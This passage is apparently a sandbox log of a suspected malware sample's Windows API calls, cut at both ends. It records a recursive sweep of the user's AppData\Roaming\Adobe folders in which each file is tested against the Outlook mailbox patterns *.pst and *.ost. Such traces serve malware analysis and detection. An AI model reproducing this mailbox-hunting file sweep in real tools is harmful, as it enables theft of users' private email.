ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x204dac20, ftLastWriteTime.dwHighDateTime=0x1d35d5c, nFileSizeHigh=0x0, nFileSizeLow=0x3a5, dwReserved0=0x0, dwReserved1=0x234120, cFileName="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", cAlternateFileName="48B764~1.CRL")) returned 1 [0096.552] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.552] PathMatchSpecW (pszFile="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", pszSpec="*.pst") returned 0 [0096.553] PathMatchSpecW (pszFile="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", pszSpec="*.ost") returned 0 [0096.553] FindNextFileW (in: hFindFile=0x7202230, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8b4af520, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x8b4af520, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x204b4ac0, ftLastWriteTime.dwHighDateTime=0x1d35d5c, nFileSizeHigh=0x0, nFileSizeLow=0x9347, dwReserved0=0x0, dwReserved1=0x234120, cFileName="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", cAlternateFileName="A9B821~1.CRL")) returned 1 [0096.553] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.553] PathMatchSpecW (pszFile="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", pszSpec="*.pst") returned 0 [0096.553] PathMatchSpecW (pszFile="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", pszSpec="*.ost") returned 0 [0096.553] FindNextFileW (in: hFindFile=0x7202230, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8b4af520, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x8b4af520, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x204b4ac0, ftLastWriteTime.dwHighDateTime=0x1d35d5c, nFileSizeHigh=0x0, nFileSizeLow=0x9347, dwReserved0=0x0, dwReserved1=0x234120, cFileName="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", cAlternateFileName="A9B821~1.CRL")) returned 0 [0096.553] FindClose (in: hFindFile=0x7202230 | out: hFindFile=0x7202230) returned 1 [0096.553] FindNextFileW (in: hFindFile=0x7202650, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8b3a4b80, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x8b4af520, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x8b4af520, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="CRLCache", cAlternateFileName="")) returned 0 [0096.553] FindClose (in: hFindFile=0x7202650 | out: hFindFile=0x7202650) returned 1 [0096.553] FindNextFileW (in: hFindFile=0x4466700, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8b37ea20, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x8b7a90a0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x8b7a90a0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Security", cAlternateFileName="")) returned 0 [0096.553] FindClose (in: hFindFile=0x4466700 | out: hFindFile=0x4466700) returned 1 [0096.553] FindNextFileW (in: hFindFile=0x44669a0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e9a4ce0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x934c7500, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x934c7500, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="10.0", cAlternateFileName="")) returned 0 [0096.553] FindClose (in: hFindFile=0x44669a0 | out: hFindFile=0x44669a0) returned 1 [0096.553] FindNextFileW (in: hFindFile=0x4466e20, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eaaf680, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eaaf680, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eaaf680, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0096.553] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.553] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe", pszFile="Flash Player" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Flash Player" [0096.553] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Flash Player", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Flash Player\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Flash Player\\*" [0096.553] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eaaf680, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eaaf680, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eaaf680, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x44669a0 [0096.598] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.598] FindNextFileW (in: hFindFile=0x44669a0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eaaf680, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eaaf680, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eaaf680, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0096.598] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.598] FindNextFileW (in: hFindFile=0x44669a0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eaaf680, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eaaf680, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eaaf680, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 1 [0096.598] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.598] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Flash Player", pszFile="AssetCache" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" [0096.599] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*" [0096.599] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eaaf680, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eaaf680, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eaaf680, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x4466700 [0096.599] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.599] FindNextFileW (in: hFindFile=0x4466700, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eaaf680, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eaaf680, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eaaf680, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0096.599] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.599] FindNextFileW (in: hFindFile=0x4466700, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eaaf680, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eaaf680, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eaaf680, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 0 [0096.599] FindClose (in: hFindFile=0x4466700 | out: hFindFile=0x4466700) returned 1 [0096.599] FindNextFileW (in: hFindFile=0x44669a0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eaaf680, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eaaf680, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eaaf680, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 0 [0096.599] FindClose (in: hFindFile=0x44669a0 | out: hFindFile=0x44669a0) returned 1 [0096.599] FindNextFileW (in: hFindFile=0x4466e20, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea89520, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea89520, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea89520, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1 [0096.599] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.599] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe", pszFile="Headlights" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Headlights") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Headlights" [0096.599] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Headlights", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Headlights\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Headlights\\*" [0096.599] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea89520, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea89520, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea89520, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x44669a0 [0096.599] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.599] FindNextFileW (in: hFindFile=0x44669a0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea89520, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea89520, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea89520, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0096.599] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.599] FindNextFileW (in: hFindFile=0x44669a0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea89520, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea89520, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea89520, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 0 [0096.600] FindClose (in: hFindFile=0x44669a0 | out: hFindFile=0x44669a0) returned 1 [0096.600] FindNextFileW (in: hFindFile=0x4466e20, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea633c0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea633c0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea633c0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0096.600] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.600] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe", pszFile="Linguistics" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Linguistics" [0096.600] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Linguistics", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Linguistics\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Linguistics\\*" [0096.600] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea633c0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea633c0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea633c0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x44669a0 [0096.816] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.816] FindNextFileW (in: hFindFile=0x44669a0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea633c0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea633c0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea633c0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0096.816] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.816] FindNextFileW (in: hFindFile=0x44669a0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea633c0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea633c0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea633c0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0096.816] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.816] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Linguistics", pszFile="Dictionaries" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries" [0096.816] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*" [0096.816] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea633c0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea633c0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea633c0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x4466700 [0096.817] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.817] FindNextFileW (in: hFindFile=0x4466700, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea633c0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea633c0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea633c0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0096.817] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.817] FindNextFileW (in: hFindFile=0x4466700, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea633c0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea633c0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea633c0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 0 [0096.817] FindClose (in: hFindFile=0x4466700 | out: hFindFile=0x4466700) returned 1 [0096.818] FindNextFileW (in: hFindFile=0x44669a0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea633c0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea633c0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea633c0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0096.818] FindClose (in: hFindFile=0x44669a0 | out: hFindFile=0x44669a0) returned 1 [0096.818] FindNextFileW (in: hFindFile=0x4466e20, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea633c0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea633c0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea633c0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1 [0096.818] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.818] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe", pszFile="LogTransport2" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\LogTransport2" [0096.818] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\LogTransport2", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\LogTransport2\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\LogTransport2\\*" [0096.818] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea633c0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea633c0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea633c0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x44669a0 [0096.818] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.818] FindNextFileW (in: hFindFile=0x44669a0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea633c0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea633c0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea633c0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0096.818] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.819] FindNextFileW (in: hFindFile=0x44669a0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea633c0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea633c0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea633c0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 0 [0096.819] FindClose (in: hFindFile=0x44669a0 | out: hFindFile=0x44669a0) returned 1 [0096.819] FindNextFileW (in: hFindFile=0x4466e20, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7ea633c0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7ea633c0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7ea633c0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 0 [0096.819] FindClose (in: hFindFile=0x4466e20 | out: hFindFile=0x4466e20) returned 1 [0096.819] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e83f0, ftCreationTime.dwHighDateTime=0x1d4cab7, ftLastAccessTime.dwLowDateTime=0x728220d0, ftLastAccessTime.dwHighDateTime=0x1d4ca42, ftLastWriteTime.dwLowDateTime=0x728220d0, ftLastWriteTime.dwHighDateTime=0x1d4ca42, nFileSizeHigh=0x0, nFileSizeLow=0x11307, dwReserved0=0x0, dwReserved1=0x0, cFileName="agwS9jwJhHy p1.odt", cAlternateFileName="AGWS9J~1.ODT")) returned 1 [0096.819] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.819] PathMatchSpecW (pszFile="agwS9jwJhHy p1.odt", pszSpec="*.pst") returned 0 [0096.819] PathMatchSpecW (pszFile="agwS9jwJhHy p1.odt", pszSpec="*.ost") returned 0 [0096.819] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf5bf2f20, ftCreationTime.dwHighDateTime=0x1d4d559, ftLastAccessTime.dwLowDateTime=0x7faa39d0, ftLastAccessTime.dwHighDateTime=0x1d4c986, ftLastWriteTime.dwLowDateTime=0x7faa39d0, ftLastWriteTime.dwHighDateTime=0x1d4c986, nFileSizeHigh=0x0, nFileSizeLow=0xb015, dwReserved0=0x0, dwReserved1=0x0, cFileName="fdkus0pnkYX_9FlWPTF.jpg", cAlternateFileName="FDKUS0~1.JPG")) returned 1 [0096.819] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.819] PathMatchSpecW 